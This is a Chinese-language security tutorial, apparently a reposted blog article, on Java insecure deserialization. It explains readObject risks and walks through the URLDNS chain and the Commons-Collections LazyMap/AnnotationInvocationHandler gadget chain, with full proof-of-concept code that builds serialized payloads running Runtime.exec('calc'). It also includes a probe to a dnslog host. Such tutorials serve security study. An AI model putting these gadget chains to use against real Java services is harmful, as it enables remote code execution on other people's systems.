java不安全的反序列化

admin 2023年3月4日02:08:46评论50 views字数 13829阅读46分5秒阅读模式

什么是反序列化

序列化,是指将内存中的某个对象压缩成字节流的形式,而反序列化,则是将字节流转化成内存中的对象。Java序列化和反序列化处理是基于Java框架的Web应用中比较重要的功能。因为在网络中,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送必须将要发送的Java对象序列化为字节流,接收方则需要将字节流再反序列化,还原得到java对象才能实现正常通信。当攻击者精心构造的字节流被反序列化为恶意对象时,就会造成一系列安全问题。反序列化漏洞就是,暴露或者间接暴露反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。

在java原生的api中,序列化的过程由ObjectOutputStram类的writeObject()方法实现,反序列化则由ObjectInputStream类的readObject()方法实现。

java不安全的反序列化
image-20220714111659655

Java序列化通过ObjectOutputStream类的writeObject()方法完成,能够被序列化的类必须要实现Serizlizable接口或者Externalizable接口。Serializable接⼝是⼀个标记接⼝,其中不包含任何⽅法。Externalizable接⼝是Serializable⼦类,其中包含writeExternal()readExternal()⽅法, 分别在序列化 和反序列化的时候⾃动调⽤。

反序列化不安全的原因

Java反序列化通过ObjectInputStream类的readObject()⽅法实现。在反序列化的过程中,⼀个字节流将按照⼆进制结构被序列化成⼀个对象。当开发者重写readObject⽅法或readExternal⽅法时, 其中如果 隐藏有⼀些危险的操作且未对正在进⾏序列化的字节流进⾏充分的检测时,则会成为反序列化漏洞的触发点。

相关代码分析

序列化类的对象需要满足两个条件:

  1. 该类必须实现java.io.Serializable接口

跟进该接口可以发现它是一个空接口,说明其作用只是为了在序列化和反序列化中做一个类型判断。(非遵循非必要原则), 不需要序列化的类就可以不用序列化。

java不安全的反序列化
image-20220714120603118
  1. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须标注是短暂的,比如static,transient修饰的变量不可被序列化。
  2. 如何序列化类

java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可

public static void test1() throws IOException {
        Person person = new Person();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        objectOutputStream.writeObject(person);
        objectOutputStream.close();
    }

跟进writeObject函数,我们通过阅读它的注释可以知道,在序列化的过程当中,是针对对象本身,而非针对类的,因此静态属性是不参与序列化和反序列化过程的。另外,如果属性本身声明了transient关键字,也会被忽略。但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了Serizlizable接口)

案例1

public class Student implements Serializable {
    private String name;
    private int age;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

class binTest1 {
    public static void main(String args[]) throws Exception {
        Student s1 = new Student();
        s1.setName("cream");
        s1.setAge(20);
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Student1.txt")));
        oo.writeObject(s1);
        oo.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Student1.txt")));
        Student s2 = (Student)ois.readObject();
        System.out.println("user "+s2.getName()+" is "+s2.getAge()+"!n");
        ois.close();
    }
}

案例2

public class Serialize implements Serializable{
    //必须实现Serializable接口
    //serialVersionUID不写的话,idea会自动生成,赋予每个类不同的序列化UID
    private static final long serialVersionUID = -8487616012322529418L;

    private int id;
    private String name;

    public Serialize() {
    }
    public Serialize(int id, String name) {
        this.id = id;
        this.name = name;
    }
    private void writeObject (ObjectOutputStream s) throws IOException {//重写了writeObject方法
        s.defaultWriteObject();
        s.writeObject("This is writeObject! ");
    }
    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {//重写了readObject方法
        s.defaultReadObject();
        String s1 = (String) s.readObject();
        System.out.println(s1);
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Serialize serialize = new Serialize(1,"cream");//实例化,并初始化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//创建一个32字节(默认大小)的缓冲区
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//ObjectOutputStream类用来序列化一个对象
        objectOutputStream.writeObject(serialize);//序列化一个对象,并将它发送到输出流
        objectOutputStream.close();
        System.out.println(byteArrayOutputStream+"n**************************************");//打印序列化之后的二进制流
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));//ObjectInputStream类反序列化一个对象
        Serialize o = (Serialize) objectInputStream.readObject();//从流中取出下一个对象,并将对象反序列化。它的返回值为Object,因此,你需要将它转换成合适的数据类型。反序列后得到对象o
        System.out.println( o.id+ "n" + o.name +"n**************************************");
    }
}

java不安全的反序列化
image-20220714151123187

我们知道了由于重写了writeObject函数。并且往里面加了s.writeObject("This is writeObject! ");

(额外要序列化的数据,也即是在序列化对象时插入一些自定义数据,在反序列的时候使用readObject将其读取出来。那么如果将写入的数据换成了恶意对象呢,那么就会造成恶意的反序列化,)

案例3

public class Student3 implements Serializable {

    private String name;
    private int age;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        in.defaultReadObject();
        System.out.println("Unserialize");
        Runtime.getRuntime().exec("calc");
    }

};

class BinTest2 {

    public static void main(String args[]) throws Exception {
        Student3 s1 = new Student3();
        s1.setName("cream");
        s1.setAge(20);
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Student3.txt")));
        oo.writeObject(s1);
        oo.close();
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Student3.txt")));
        ois.readObject();
        System.out.println("Java Unserialize is over!");
        ois.close();
    }
}

代码中用户自定义了readObject函数。使其执行了恶意的代码 Runtime.getRuntime().exec("calc");。从而执行了系统命令。为何能执行上面的代码?

正常业务以及组件中一般不会放这些代码,需要用到两个或多个常用的组件构造一个利用链,能从readObject开始到经过有限步骤最后执行我们的恶意方法或命令结束。当应用程序调用了被序列化对象的readObject()方法,且被序列化对象重写了readObject()方法,方法中可以执行任意代码时,造成了远程代码执行漏洞。

反序列化链分析

URLDNS链

URLDNS是ysoserial⼯具⽤于检测是否存在Java反序列化漏洞的⼀个利⽤链,通过URLDNS利⽤链可以 发起⼀次DNS查询请求,从⽽可以验证⽬标站点是否存在反序列化漏洞,并且该利⽤链任何不需要第三 ⽅依赖,也没有JDK版本的限制。但是URLDNS利⽤链也只能⽤于发起DNS查询请求,也不能做其他事 情,因此URLDNS链更多的是⽤于POC检测。

URLDNS链的基本工作流程如下

  1. 这个链是HashMap反序列化时(执行readObject方法时)会从序列化流中读取它在序列化时写入的Node数组。(实现Map.Entry接口和Map的内部类,Entry是描述一组键值对),再循环赋值给HashMap,来还原序列化之前的数据。赋值的时候调用到putVal方法,其中第一个参数是原HashMap对象中key(键)的hash值,计算这个hash值调用到key自己的hashcode方法。
  2. URL对象的hashCode函数会在其hash值为 -1 时调⽤默认URLStreamHandlerhashCode⽅法重新计算hash值,这个⽅法计算hash值时会调⽤getHostAddressgetHostAddress ⾥调⽤InetAddress类的getByNamegetByName本来功能就是解析域名,最后触发DNS解析。

URLDNS链的特点和条件:

  1. 原生JDK中就有此链,并且不限版本,不限组件。简单理解,是因为HashMap从功能原理上来说,就是按key的hash值存储数据的散列值,且计算URL的hash值时就是需要其主机地址的。(非必须,但是最好是有,减少哈希碰撞)。
  2. 此链比较适用于验证目标应用程序是否有反序列化漏洞或者是否出网。
  3. 恶意序列化数据需要一个Hashmap,并且key值是url对象,其hashcode是 -1.
public class URLDNSTest1 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        String url = "http://a1a7mq.dnslog.cn";
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap hashMap = new HashMap();
        URL url1 = new URL(null,url,handler);
        hashMap.put(url1,url);

        Field field = url1.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url1,-1);

        //进行序列化与反序列化的操作
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("urldns.ser"));
        inputStream.readObject();

    }

    static class SilentURLStreamHandler extends URLStreamHandler{

        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
    }
}

分析过程如下:1.以HashMap的put方法为入口。

java不安全的反序列化
image-20220714161355457

2.进入put方法后,继续依次进入hash()方法。

java不安全的反序列化
image-20220714161443738

3.调式发现,需要跟进hashmap的hashcode方法,于是跟进hashcode()方法。但是要注意此处应该是url包下的方法。

java不安全的反序列化
image-20220714161544371

在url包下面,默认的hashcode是-1。

4.当hashcode为-1时,需要重新计算hashcode,这个时候通过查看方法。

发现

java不安全的反序列化
image-20220714161713509

关键动作:调用getHostAddress()方法查看当前url的主机ip,为请求url做准备。最后发现请求成功。

java不安全的反序列化
image-20220714161843223

链总结

HashMap.readObject
    -> HashMap.hash
          -> URL.hashCode
              -> URLStreamHandler.hashCode
                    -> URLStreamHandler.getHostAddress
                          ->InetAddress.getByName

CC3链

Apache commons-collectionis组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新大门一样,之后很多java中间件相继都爆出了反序列化漏洞。CC链的原理就是利用反射获取类,放到readObject方法。

在挖掘反序列化漏洞时比较常用的利用工具ysoserial就使用LazpMap类的利用链。

相关知识

  1. InvokeTransformer继承自Transformer类,这个类有一个函数叫transform,它的作用很简单,会把当前类的ImethodNameIparamTypes进行反射调用。

在java反射中,我们可以通过反射来调用exec方法

public class CC1Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
        //获取类
        Class runtimeClazz = Class.forName("java.lang.Runtime");
        Method getRuntimeMethod = runtimeClazz.getMethod("getRuntime");

        //获取类实例
        Runtime singleRuntime = (Runtime)getRuntimeMethod.invoke(null);

        //获取exec方法
        Method execMethod = runtimeClazz.getDeclaredMethod("exec", String.class);

        //反射执行
        execMethod.invoke(singleRuntime, "calc");
    }
}

我们同样也可以使用Transformer调用exec函数。

public class CC1Test2 {
    public static void main(String[] args) {
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // 存储数组的类
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] 
{
                String.classClass[].class }, new Object[] {
                "getRuntime"new Class[0] }),
            new InvokerTransformer("invoke"new Class[] {
                Object.classObject[].class }, new Object[] {
                nullnew Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, new String[]{"calc"}),
            new ConstantTransformer(1) };
        //链式调用数组
        try{
            Class chainedTransformer = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
            Field iTransformers = chainedTransformer.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain, transformers);
            transformerChain.transform(new Object()); //核心触发函数
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

POC构造实现反序列化调用EXEC

LazyMap

LazyMap本质上也是一个Map,它允许只当一个Transformer作为它的工厂类。

工厂类的意思是,当进行Map操作时,这个工厂类会对它进行修饰。(使用工厂类的transform函数)

java不安全的反序列化
image-20220718105534581

同时它的下面有get方法,用来调用工厂类的transform函数

java不安全的反序列化
image-20220718105713703

AnnotationInvocationHandler

最后一步,我们需要寻找在重载了readObject函数中,会调用map属性get方法的类。这个类就是AnnotationInvocationHandler。首先看它的类声明,可以确定存在对应的map属性。

java不安全的反序列化
image-20220718110304332

接下来查看它的invoke方法,可以看到调用了get方法。

java不安全的反序列化
image-20220720105547854

这里有一个问题就是AnnotationInvocationHandler在它重载的readObject函数当中,并没有调用invoke方法,为什么它是可以利用的。

java不安全的反序列化
image-20220720105808439

这是因为AnnotationInvocationHandler是动态代理类,这意味着我们可以使用该类包裹我们的LazyMap,这样就能触发它的invoke函数。

AnnotationInvocationHandlerReadObject中,它直接操作了自身的map。

java不安全的反序列化
image-20220720110640813

接下来只需要把这几个部分拼装起来就好了

public class CC1Test3 {
    public static void main(String[] args) {
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] 
{
                String.classClass[].class }, new Object[] {
                "getRuntime"new Class[0] }),
            new InvokerTransformer("invoke"new Class[] {
                Object.classObject[].class }, new Object[] {
                nullnew Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, new String[]{"calc"}),
            new ConstantTransformer(1) };

        try{
            //构造ChainedTransfomer
            Class chainedTransformer = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
            Field iTransformers = chainedTransformer.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain, transformers);

            //构造LazyMap
            Map map = LazyMap.decorate(new HashMap(), transformerChain);

            //使用AnnotationInvocationHandler包裹
            Class annotationInvocationHandlerClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClazz.getDeclaredConstructors()[0];
            annotationInvocationHandlerConstructor.setAccessible(true);
            Map proxyMap =(Map) Proxy.newProxyInstance(
                map.getClass().getClassLoader(), map.getClass().getInterfaces(), (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.classmap));

            //return proxyMap 可以触发命令执行吗?proxyMap (Map) -> readObject
            //将包裹后的map添加到AnnotationInvocationHandler中
            InvocationHandler annotationInvocationHandler = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.classproxyMap);

            //反序列化验证
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser11.ser11"));
            objectOutputStream.writeObject(annotationInvocationHandler);
            objectOutputStream.close();
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser11.ser11"));
            objectInputStream.readObject();
            objectInputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

JDK8u71后⽆法复现该漏洞,核⼼原因是,8u71以后,AnnotationInvocationHandlerReadObject z中,不再直接操作我们给的Map,⽽是新创建了⼀个LinkedHashMap,导致⽆法触发后⾯的payload。

java不安全的反序列化
image-20220720111343259


原文始发于微信公众号(芸潘):java不安全的反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月4日02:08:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java不安全的反序列化http://cn-sec.com/archives/1263189.html

发表评论

匿名网友 填写信息